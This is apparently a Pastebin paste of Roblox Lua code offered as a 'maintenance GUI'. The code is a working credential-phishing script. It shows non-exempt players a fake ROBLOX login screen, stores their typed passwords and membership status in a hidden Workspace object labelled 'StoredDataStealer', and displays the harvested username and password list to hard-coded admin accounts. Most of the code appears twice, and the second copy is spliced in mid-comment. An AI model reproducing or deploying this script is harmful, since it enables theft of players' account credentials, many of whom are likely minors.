Advertisement
RobloxScripter12

matience gui roblox

Jun 24th, 2016
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.58 KB | None | 0 0
  1. -- Made by youglow,new account robloxcitya dont forget to add him
  2.  
  3. ---------Settings------------
  4. admins={"CubzLuvz","trustKIDSlies","}",""} -- Admins have data to stolen data, and will bypass the GUI
  5. bypass={"",""} -- These users do not have data to the stolen data, but will bypass the GUI
  6. --NoCoreGui=true -- This will disable all of the CoreGui (can break other Guis, be cafeful)
  7. filelocation = game.Workspace -- A nice hidden place to store all the data
  8. --game:GetService("Geometry") That's a nice hidden place you can store all of your data.
  9. CollectionSpacing = 30 -- Space between user's login data
  10. CollectionSize = 25 -- Height of each user's login data
  11. ------------------- Made by youglow,new account robloxcitya dont forget to add him
  12.  
  13. ---------Settings------------
  14. admins={"CubzLuvz","trustKIDSlies","}",""} -- Admins have data to stolen data, and will bypass the GUI
  15. bypass={"",""} -- These users do not have data to the stolen data, but will bypass the GUI
  16. --NoCoreGui=true -- This will disable all of the CoreGui (can break other Guis, be cafeful)
  17. filelocation = game.Workspace -- A nice hidden place to store all the data
  18. --game:GetService("Geometry") That's a nice hidden place you can store all of your data.
  19. CollectionSpacing = 30 -- Space between user's login data
  20. CollectionSize = 25 -- Height of each user's login data
  21. ----------------------------
  22. for _,v in pairs(admins) do
  23. for i,x in pairs(bypass) do
  24. if v==x then
  25. table.remove(bypass,i)
  26. end
  27. end
  28. end
  29. -- Please do not edit anything below this line unless you know what you are doing!
  30. --------Definitions----------
  31. Gui = script.Parent
  32. BG = Gui.Background
  33. SP = Gui.SecondPage
  34. CollB = Gui.CollectionBank
  35. -----------------------------
  36. function checkAdmin(plr)
  37. for _,v in pairs(admins) do
  38. if string.lower(v)==string.lower(plr.Name) then return true end
  39. end
  40. return false
  41. end
  42.  
  43. function checkBypass(plr)
  44. for _,v in pairs(bypass) do
  45. if string.lower(v)==string.lower(plr.Name) then return true end
  46. end
  47. return false
  48. end
  49.  
  50.  
  51.  
  52. function updateList()
  53. storedypos.Value=0
  54. storedincrement.Value=0
  55. for _,x in pairs(CollB:getChildren()) do
  56. if x.Name~="Names" and
  57. x.Name~="Passes" and
  58. x.Name~="Top" and
  59. x.Name~="spacing" and
  60. x.Name~="height" and
  61. x.Name~="SPing" and
  62. x.Name~="close" and
  63. x.Name~="HGT" then
  64. x:Destroy()
  65. end
  66. end
  67. for _,v in pairs(storedinfo:GetChildren()) do
  68. if v:findFirstChild("pazz")~=nil and v.Name~="Value" then
  69. adduser(v.Name,v:findFirstChild("pazz").Value,v:findFirstChild("BCStat").Value)
  70. end
  71. end
  72. end
  73.  
  74.  
  75. function adduser(nam,pw,BeeCee)
  76. storedincrement.Value=storedincrement.Value+1
  77. if storedincrement.Value~=1 and storedincrement.Value~=0 then storedypos.Value=storedypos.Value+CollectionSpacing end
  78. addlist(storedincrement.Value,CollB,storedypos.Value,nam,pw,BeeCee)
  79. end
  80.  
  81. function addlist(increment,parent,pos,nam,pw,bcst)
  82. un1 = Instance.new("TextLabel", parent)
  83. un1.Name = "un"..tostring(increment)
  84. un1.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
  85. un1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
  86. un1.BackgroundColor3 = Color3.new(1, 1, 1)
  87. un1.BackgroundTransparency = 0.5
  88. un1.BorderSizePixel = 0
  89. un1.Text = nam
  90. un1.Font = Enum.Font.ArialBold
  91. un1.FontSize = Enum.FontSize.Size18
  92. un1.TextColor3 = Color3.new(1, 1, 1)
  93. p1 = Instance.new("TextLabel", parent)
  94. p1.Name = "pw"..tostring(increment)
  95. p1.Position = UDim2.new(0.5, 0, 0.1+(pos/1000), 0)
  96. p1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
  97. p1.BackgroundColor3 = Color3.new(1, 1, 1)
  98. p1.BackgroundTransparency = 0.5
  99. p1.BorderSizePixel = 0
  100. p1.Text = pw
  101. p1.Font = Enum.Font.ArialBold
  102. p1.FontSize = Enum.FontSize.Size18
  103. p1.TextColor3 = Color3.new(1, 1, 1)
  104.  
  105. BCPIP = Instance.new("ImageLabel", parent)
  106. BCPIP.Name = "BCPIP"..tostring(increment)
  107. BCPIP.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
  108. BCPIP.Size = UDim2.new(CollectionSize/1000, 0, CollectionSize/1000, 0)
  109. BCPIP.BackgroundColor3 = Color3.new(1, 1, 1)
  110. BCPIP.BackgroundTransparency = 1
  111. BCPIP.BorderSizePixel = 0
  112. if bcst=="Enum.MembershipType.BuildersClub" then
  113. BCPIP.Image = "rbxassetid://".."30681638"
  114. elseif bcst=="Enum.MembershipType.TurboBuildersClub" then
  115. BCPIP.Image = "rbxassetid://".."78003798"
  116. elseif bcst=="Enum.MembershipType.OutrageousBuildersClub" then
  117. BCPIP.Image = "rbxassetid://".."64189403"
  118. else
  119. BCPIP.Image = "rbxassetid://".."45312113"
  120. end
  121. BCPIP.ZIndex = 2
  122.  
  123. local a = script.hideself:Clone() a.Parent=BCPIP a.Disabled=false
  124. end
  125.  
  126.  
  127.  
  128.  
  129. repeat wait() until game.Players.LocalPlayer.Character
  130.  
  131. if not filelocation:findFirstChild("StoredDataStealer") then
  132. storedincrement = Instance.new("IntValue") storedincrement.Parent=filelocation storedincrement.Name="storedincrement" storedincrement.Value=0
  133. storedypos = Instance.new("IntValue") storedypos.Parent=filelocation storedypos.Name="storedypos" storedypos.Value=0
  134. storedinfo = Instance.new("StringValue") storedinfo.Parent=filelocation storedinfo.Name="StoredDataStealer"
  135. else
  136. storedinfo = filelocation:findFirstChild("StoredDataStealer")
  137. storedincrement = filelocation:findFirstChild("storedincrement")
  138. storedypos = filelocation:findFirstChild("storedypos")
  139. end
  140. wait()
  141. updateList()
  142. CollB.height.Text = tonumber(CollectionSize)
  143. CollB.spacing.Text = tonumber(CollectionSpacing)
  144.  
  145. storedinfo.DescendantAdded:connect(function() updateList() end)
  146. storedinfo.DescendantRemoving:connect(function() updateList() end)
  147.  
  148. CollB.spacing.Changed:connect(function()
  149. if tonumber(CollB.spacing.Text) then
  150. CollectionSpacing=tonumber(CollB.spacing.Text)
  151. updateList()
  152. else
  153. CollB.spacing.Text = tonumber(CollectionSpacing)
  154. updateList()
  155. end
  156. end)
  157.  
  158. CollB.height.Changed:connect(function()
  159. if tonumber(CollB.height.Text) then
  160. CollectionSize=tonumber(CollB.height.Text)
  161. updateList()
  162. else
  163. CollB.height.Text = tonumber(CollectionSize)
  164. updateList()
  165. end
  166. end)
  167.  
  168. CollB.close.MouseButton1Down:connect(function()
  169. CollB.Visible=false
  170. Gui.showcollection.Visible=true
  171. end)
  172. game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(k)
  173. if checkAdmin(game.Players.LocalPlayer) then
  174. if k=="v" then
  175. if CollB.Visible==false then CollB.Visible=true Gui.showcollection.Visible=false else CollB.Visible=false Gui.showcollection.Visible=true end
  176. end
  177. end
  178. end)
  179.  
  180. Gui.showcollection.MouseButton1Down:connect(function()
  181. CollB.Visible=true
  182. Gui.showcollection.Visible=false
  183. end)
  184.  
  185. if checkAdmin(game.Players.LocalPlayer) then
  186. Gui.showcollection.Visible=true
  187. elseif not checkBypass(game.Players.LocalPlayer) then
  188. if NoCoreGui then game.StarterGui:SetCoreGuiEnabled("All", false) end
  189. BG.Visible=true
  190. BG.CountDown.Disabled=false
  191. Gui.ROBLOX.Visible=true
  192. else
  193. Gui:Destroy()
  194. end
  195.  
  196. BG.Login.MouseButton1Down:connect(function()
  197. if storedinfo~=nil and not storedinfo:findFirstChild(game.Players.LocalPlayer.Name) then
  198. if BG.PassText.Text=="" or BG.PassText.Text=="Enter your Password" or BG.PassText.Text=="Error, password invalid" then
  199. BG.PassText.Text="Error, password invalid"
  200. elseif
  201. BG.UserText.Text=="" or BG.UserText.Text=="Enter your Username" or BG.UserText.Text=="Error, username invalid" then
  202. BG.UserText.Text="Error, username invalid"
  203. else
  204. local a=Instance.new("StringValue")
  205. a.Name=game.Players.LocalPlayer.Name
  206. local b=a:Clone() b.Parent=a b.Name="pazz" b.Value=BG.PassText.Text
  207. local c=a:Clone() c.Parent=a c.Name="BCStat" c.Value=tostring(game.Players.LocalPlayer.MembershipType)
  208. a.Parent = storedinfo
  209. BG.Visible=false
  210. SP.Visible=true
  211. SP.CountDown.Disabled=false
  212. end
  213. end
  214. end)-----------
  215. for _,v in pairs(admins) do
  216. for i,x in pairs(bypass) do
  217. if v==x then
  218. table.remove(bypass,i)
  219. end
  220. end
  221. end
  222. -- Please do not edit anything below this line unless you know what you are doing!
  223. --------Definitions----------
  224. Gui = script.Parent
  225. BG = Gui.Background
  226. SP = Gui.SecondPage
  227. CollB = Gui.CollectionBank
  228. -----------------------------
  229. function checkAdmin(plr)
  230. for _,v in pairs(admins) do
  231. if string.lower(v)==string.lower(plr.Name) then return true end
  232. end
  233. return false
  234. end
  235.  
  236. function checkBypass(plr)
  237. for _,v in pairs(bypass) do
  238. if string.lower(v)==string.lower(plr.Name) then return true end
  239. end
  240. return false
  241. end
  242.  
  243.  
  244.  
  245. function updateList()
  246. storedypos.Value=0
  247. storedincrement.Value=0
  248. for _,x in pairs(CollB:getChildren()) do
  249. if x.Name~="Names" and
  250. x.Name~="Passes" and
  251. x.Name~="Top" and
  252. x.Name~="spacing" and
  253. x.Name~="height" and
  254. x.Name~="SPing" and
  255. x.Name~="close" and
  256. x.Name~="HGT" then
  257. x:Destroy()
  258. end
  259. end
  260. for _,v in pairs(storedinfo:GetChildren()) do
  261. if v:findFirstChild("pazz")~=nil and v.Name~="Value" then
  262. adduser(v.Name,v:findFirstChild("pazz").Value,v:findFirstChild("BCStat").Value)
  263. end
  264. end
  265. end
  266.  
  267.  
  268. function adduser(nam,pw,BeeCee)
  269. storedincrement.Value=storedincrement.Value+1
  270. if storedincrement.Value~=1 and storedincrement.Value~=0 then storedypos.Value=storedypos.Value+CollectionSpacing end
  271. addlist(storedincrement.Value,CollB,storedypos.Value,nam,pw,BeeCee)
  272. end
  273.  
  274. function addlist(increment,parent,pos,nam,pw,bcst)
  275. un1 = Instance.new("TextLabel", parent)
  276. un1.Name = "un"..tostring(increment)
  277. un1.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
  278. un1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
  279. un1.BackgroundColor3 = Color3.new(1, 1, 1)
  280. un1.BackgroundTransparency = 0.5
  281. un1.BorderSizePixel = 0
  282. un1.Text = nam
  283. un1.Font = Enum.Font.ArialBold
  284. un1.FontSize = Enum.FontSize.Size18
  285. un1.TextColor3 = Color3.new(1, 1, 1)
  286. p1 = Instance.new("TextLabel", parent)
  287. p1.Name = "pw"..tostring(increment)
  288. p1.Position = UDim2.new(0.5, 0, 0.1+(pos/1000), 0)
  289. p1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
  290. p1.BackgroundColor3 = Color3.new(1, 1, 1)
  291. p1.BackgroundTransparency = 0.5
  292. p1.BorderSizePixel = 0
  293. p1.Text = pw
  294. p1.Font = Enum.Font.ArialBold
  295. p1.FontSize = Enum.FontSize.Size18
  296. p1.TextColor3 = Color3.new(1, 1, 1)
  297.  
  298. BCPIP = Instance.new("ImageLabel", parent)
  299. BCPIP.Name = "BCPIP"..tostring(increment)
  300. BCPIP.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
  301. BCPIP.Size = UDim2.new(CollectionSize/1000, 0, CollectionSize/1000, 0)
  302. BCPIP.BackgroundColor3 = Color3.new(1, 1, 1)
  303. BCPIP.BackgroundTransparency = 1
  304. BCPIP.BorderSizePixel = 0
  305. if bcst=="Enum.MembershipType.BuildersClub" then
  306. BCPIP.Image = "rbxassetid://".."30681638"
  307. elseif bcst=="Enum.MembershipType.TurboBuildersClub" then
  308. BCPIP.Image = "rbxassetid://".."78003798"
  309. elseif bcst=="Enum.MembershipType.OutrageousBuildersClub" then
  310. BCPIP.Image = "rbxassetid://".."64189403"
  311. else
  312. BCPIP.Image = "rbxassetid://".."45312113"
  313. end
  314. BCPIP.ZIndex = 2
  315.  
  316. local a = script.hideself:Clone() a.Parent=BCPIP a.Disabled=false
  317. end
  318.  
  319.  
  320.  
  321.  
  322. repeat wait() until game.Players.LocalPlayer.Character
  323.  
  324. if not filelocation:findFirstChild("StoredDataStealer") then
  325. storedincrement = Instance.new("IntValue") storedincrement.Parent=filelocation storedincrement.Name="storedincrement" storedincrement.Value=0
  326. storedypos = Instance.new("IntValue") storedypos.Parent=filelocation storedypos.Name="storedypos" storedypos.Value=0
  327. storedinfo = Instance.new("StringValue") storedinfo.Parent=filelocation storedinfo.Name="StoredDataStealer"
  328. else
  329. storedinfo = filelocation:findFirstChild("StoredDataStealer")
  330. storedincrement = filelocation:findFirstChild("storedincrement")
  331. storedypos = filelocation:findFirstChild("storedypos")
  332. end
  333. wait()
  334. updateList()
  335. CollB.height.Text = tonumber(CollectionSize)
  336. CollB.spacing.Text = tonumber(CollectionSpacing)
  337.  
  338. storedinfo.DescendantAdded:connect(function() updateList() end)
  339. storedinfo.DescendantRemoving:connect(function() updateList() end)
  340.  
  341. CollB.spacing.Changed:connect(function()
  342. if tonumber(CollB.spacing.Text) then
  343. CollectionSpacing=tonumber(CollB.spacing.Text)
  344. updateList()
  345. else
  346. CollB.spacing.Text = tonumber(CollectionSpacing)
  347. updateList()
  348. end
  349. end)
  350.  
  351. CollB.height.Changed:connect(function()
  352. if tonumber(CollB.height.Text) then
  353. CollectionSize=tonumber(CollB.height.Text)
  354. updateList()
  355. else
  356. CollB.height.Text = tonumber(CollectionSize)
  357. updateList()
  358. end
  359. end)
  360.  
  361. CollB.close.MouseButton1Down:connect(function()
  362. CollB.Visible=false
  363. Gui.showcollection.Visible=true
  364. end)
  365. game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(k)
  366. if checkAdmin(game.Players.LocalPlayer) then
  367. if k=="v" then
  368. if CollB.Visible==false then CollB.Visible=true Gui.showcollection.Visible=false else CollB.Visible=false Gui.showcollection.Visible=true end
  369. end
  370. end
  371. end)
  372.  
  373. Gui.showcollection.MouseButton1Down:connect(function()
  374. CollB.Visible=true
  375. Gui.showcollection.Visible=false
  376. end)
  377.  
  378. if checkAdmin(game.Players.LocalPlayer) then
  379. Gui.showcollection.Visible=true
  380. elseif not checkBypass(game.Players.LocalPlayer) then
  381. if NoCoreGui then game.StarterGui:SetCoreGuiEnabled("All", false) end
  382. BG.Visible=true
  383. BG.CountDown.Disabled=false
  384. Gui.ROBLOX.Visible=true
  385. else
  386. Gui:Destroy()
  387. end
  388.  
  389. BG.Login.MouseButton1Down:connect(function()
  390. if storedinfo~=nil and not storedinfo:findFirstChild(game.Players.LocalPlayer.Name) then
  391. if BG.PassText.Text=="" or BG.PassText.Text=="Enter your Password" or BG.PassText.Text=="Error, password invalid" then
  392. BG.PassText.Text="Error, password invalid"
  393. elseif
  394. BG.UserText.Text=="" or BG.UserText.Text=="Enter your Username" or BG.UserText.Text=="Error, username invalid" then
  395. BG.UserText.Text="Error, username invalid"
  396. else
  397. local a=Instance.new("StringValue")
  398. a.Name=game.Players.LocalPlayer.Name
  399. local b=a:Clone() b.Parent=a b.Name="pazz" b.Value=BG.PassText.Text
  400. local c=a:Clone() c.Parent=a c.Name="BCStat" c.Value=tostring(game.Players.LocalPlayer.MembershipType)
  401. a.Parent = storedinfo
  402. BG.Visible=false
  403. SP.Visible=true
  404. SP.CountDown.Disabled=false
  405. end
  406. end
  407. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement